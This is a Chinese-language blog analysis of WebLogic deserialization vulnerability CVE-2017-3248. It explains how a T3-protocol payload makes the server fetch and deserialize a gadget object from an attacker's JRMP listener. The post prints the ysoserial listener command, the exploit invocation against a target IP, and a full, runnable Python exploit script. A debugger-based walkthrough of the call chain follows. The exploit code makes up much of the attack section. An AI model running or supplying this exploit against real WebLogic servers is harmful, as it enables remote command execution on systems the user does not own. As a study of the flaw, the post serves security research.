Java 安全之Weblogic 2017-3248分析

0x00 前言

在开头先来谈谈前面的绕过方式,前面的绕过方式分别使用了streamMessageImplMarshalledObject对gadgets的对象进行封装起来。其实这本质上算是同一个方式,只是利用了不同的类对他进行封装,达成绕过效果。

但是在本次的这个绕过方式里面和前面这两个洞的绕过方式截然不同,找到一个未在黑名单之内的新反序列化点,此时可以发送未经处理的gadgets对象,通过JRMP 协议达到执行任意反序列化 payload。而后面的几个绕过方式中基本都是基于这种远程的方式进行绕过。

0x01 JRMP概述

在这里简单来讲讲JRMP协议相关内容,JRMP是一个Java远程方法协议,该协议基于TCP/IP之上,RMI协议之下。也就是说RMI该协议传递时底层使用的是JRMP协议进行传输。

RMI默认使用的JRMP进行传递数据,并且JRMP协议只能作用于RMI协议。在这里需要用到ysoserial 的JRMP模块。

0x02 漏洞分析

絮絮叨叨

在漏洞利用中需要使用到 ysoserial的 JRMP模块,在这里就先不说该模块功能的构成和分析,在这里需要知道具体的作用与绕过方式,还需要思考为什么这个点能够被绕过。

绕过思路:

前面是使用的类将payload进行封装这种方法在后面的补丁中已经将前面两个用到的补丁给拉入了黑名单,而在该漏洞中使用采用了远程的方式来进行命令执行。我们会在服务器搭建一个JRMPListener服务,然后通过T3协议发送payload,使得weblogic自动请求我们的JRMPListener,而在这时候JRMPListener会返回一个gadgets对象。JRMP基于RMI之下的协议,在传输过程其实传输的序列化数据,在接收完成后会去进行反序列化操作。这么在返回gadgets对象的时候,就会对我们的gadgets对象进行反序列化。达到命令执行的效果。也绕过了黑名单的限制。

漏洞复现

这里先来启动一个JRMPListener,使得weblogic请求我们的JRMPListener返回gadgets对象,在yso工具中其实就已经集成了该功能。

java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/2017-3248'

python cve2017-3248.py 192.168.199.105 7001 ysoserial.jar 192.168.199.234 9999 JRMPClient

使用cve2017-3248.pyexp对目标的weblogic发送payload。其实payload内容也是靠ysoserial的JRMPClient模块生成的gadgets对象。进行反序列化后会进行连接设定好的JRMPListener。

总体来说该exp只是一个构造T3 协议发送payload的一个作用。

执行完成后,JRMPClient的gadgets对象,通过T3协议发送给目标weblogic上,T3协议对其进行反序列化操作,反序列化JRMPClient的gadgets对象,weblogic会去请求JRMPListener,JRMPListener返回一个执行命令的gadgets对象,这里我们设置的是CC1执行的命令是创建一个文件。通过JRMP返回到weblogic后,也会进行反序列化操作。这时候命令就执行成功了。

poc代码贴在下面

POC.py:

from __future__ import print_function

import binascii
import os
import socket
import sys
import time def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file) def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful') def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048)))) def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!') if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit() dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

漏洞分析

下面来对该漏洞进行分析。

在断点处会获取到传递过来的对象名,这里的对象并不在黑名单内,后面这里判断如果为黑名单的话就会直接抛出异常。

后面执行到下一步到了这里

而下一步则是调用父类的resolveClass方法。

下面有些地方跟踪不了,可能是版本没调对,这里用了1.6和1.8的版本。在org.apache.commons.collections.functors#transform方法,先个断点查看执行。

调用栈往下走就可以看到具体的调用流程。

这里就是我们的weblogic T3协议传递过来的数据进行反序列化操作的位置。再从这个点往上走,发现这里调用了RemoteObject的readObject方法,这里对readObject进行了重写。

再从调用栈往上看

发现上面执行到了AnnotationInvocationHandlerreadObject方法,那就说明前面这段是JRMPClient的gadget对象进行反序列化,并且接收JRMPJRMPListener返回的请求然后进行反序列化的操作。而AnnotationInvocationHandler重写了readObject则是会走到AnnotationInvocationHandlerreadObject这一步。其中的步骤被简略了。

到了这里自然就不用说了

走到这一步进行命令执行操作。

0x03 结尾

到了这里其实就已经结尾了,但是会发现很多点都没去进行分析,而只是一味的写了利用点。因为在此对JRMP的模块执行和RMI的底层不太了解,在这里不敢妄下定论,个人认为该漏洞的重点也在这两个知识点中。所以到这里就潦草的结尾了,后面再去对这两个知识点去做详细分析。看到有位师傅的文章分析挺详细,在这里贴出来膜拜一波CVE-2017-3248——WebLogic反序列化初探

Java 安全之Weblogic 2017-3248分析的更多相关文章

  1. Linux下java进程CPU占用率高分析方法

    Linux下java进程CPU占用率高分析方法 在工作当中,肯定会遇到由代码所导致的高CPU耗用以及内存溢出的情况.这种情况发生时,我们怎么去找出原因并解决. 一般解决方法是通过top命令找出消耗资源 ...

  2. java String.split()函数的用法分析

    java String.split()函数的用法分析 栏目:Java基础 作者:admin 日期:2015-04-06 评论:0 点击: 3,195 次 在java.lang包中有String.spl ...

  3. [转]使用Java Mission Control进行内存分配分析

    jdk7u40自带了一个非常好用的工具,就是Java Mission Control.JRockit Misson Control用户应该会对mission control的很多功能十分熟悉,JRoc ...

  4. JMS 问题java.lang.NoClassDefFoundError: weblogic/security/acl/UserInfo

    run: Exception in thread "main" java.lang.NoClassDefFoundError: weblogic/security/acl/User ...

  5. 左右c++与java中国的垃圾问题的分析与解决

    左右c++与java中国的垃圾问题的分析与解决 DionysosLai(906391500@qq.com)  2014/8/1 问题分析: 之所以会出现中文乱码问题,归根结底在于中文的编码与英文的编码 ...

  6. 文《左右c++与java中国的垃圾问题的分析与解决》一bug分析

    文<左右c++与java中国的垃圾问题的分析与解决>一bug分析 DionysosLai(906391500@qq.com) 2014/10/21 在前几篇一博客<关于c++与jav ...

  7. [译]Java 垃圾回收的监控和分析

    说明:这篇文章来翻译来自于Javapapers 的Java Garbage Collection Monitoring and Analysi 在这个系列的Java垃圾回收教程中,我们将看到可用于垃圾 ...

  8. 老李分享:《Java Performance》笔记1——性能分析基础 1

    老李分享:<Java Performance>笔记1——性能分析基础   1.性能分析两种方法: (1).自顶向下: 应用开发人员通过着眼于软件栈顶层的应用,从上往下寻找性能优化的机会. ...

  9. Java线程池ThreadPoolExecutor使用和分析(三) - 终止线程池原理

    相关文章目录: Java线程池ThreadPoolExecutor使用和分析(一) Java线程池ThreadPoolExecutor使用和分析(二) - execute()原理 Java线程池Thr ...

  10. java线程池ThreadPoolExector源码分析

    java线程池ThreadPoolExector源码分析 今天研究了下ThreadPoolExector源码,大致上总结了以下几点跟大家分享下: 一.ThreadPoolExector几个主要变量 先 ...

随机推荐

  1. 解决CSS各种IE各种兼容问题(Google解决方案)

    google的 ie7 – js中是一个JavaScript库(解决IE与W3C标准的冲突的JS库),使微软的Internet Explorer的行为像一个Web标准兼容的浏览器,支持更多的W3C标准 ...

  2. 一款很不错的html转xml工具-Html Agility Pack

    之前发个一篇关于实现html转成xml的劣作<实现html转Xml>,受到不少网友的关心.该实现方法是借助htmlparser去分解html内容,然后按照dom的结构逐个生成xml字符串. ...

  3. 限制窗口拉伸范围——WM_GETMINMAXINFO

    注意:此方法对CListCtrl的Report模式下的表头绘制有影响,用时需注意测试! 使用OnSizing的改进版 该例程用处为将窗口限制了大小,并且只允许上下拉伸.需要注意的是WM_GETMINM ...

  4. java笔记2之算术运算符

    1运算符是什么呢 对常量和变量进行操作的运算符 2运算符分为哪些 算术运算符(+,-,*,/), 赋值运算符 比较运算符 逻辑运算符 位运算符 三目运算符 3运算符 A 算术运算符的注意事项 (1)整 ...

  5. yii2 访问控制

    class SiteController extends Controller{ /** * @inheritdoc */ public function behaviors() { return [ ...

  6. android FragmentPagerAdapter的“标准”配置

    private class ImagePagerAdapter extends FragmentPagerAdapter {           public List<ImageItem> ...

  7. jQuery如何制作动画

    下面为一组图片(四张)展示 1 2 3 4 页面代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN& ...

  8. maven ${path.separator}

    ${path.separator} 兼容 windows & linux: <compilerArguments> <verbose /> <bootclassp ...

  9. 【RabbitMQ】4、RabbitMQ几种Exchange 模式

    AMQP协议中的核心思想就是生产者和消费者隔离,生产者从不直接将消息发送给队列.生产者通常不知道是否一个消息会被发送到队列中,只是将消息发送到一个交换机.先由Exchange来接收,然后Exchang ...

  10. (转)Xcode导航快捷键(大全)

    Xcode导航快捷键1.工程导航器:Command+1快速浏览代码.图片以及用户界面文件. 2.显示/隐藏导航器面板:Command+0当你在对屏幕进行截图的时候可能会想要隐藏起与你感兴趣内容的无关的 ...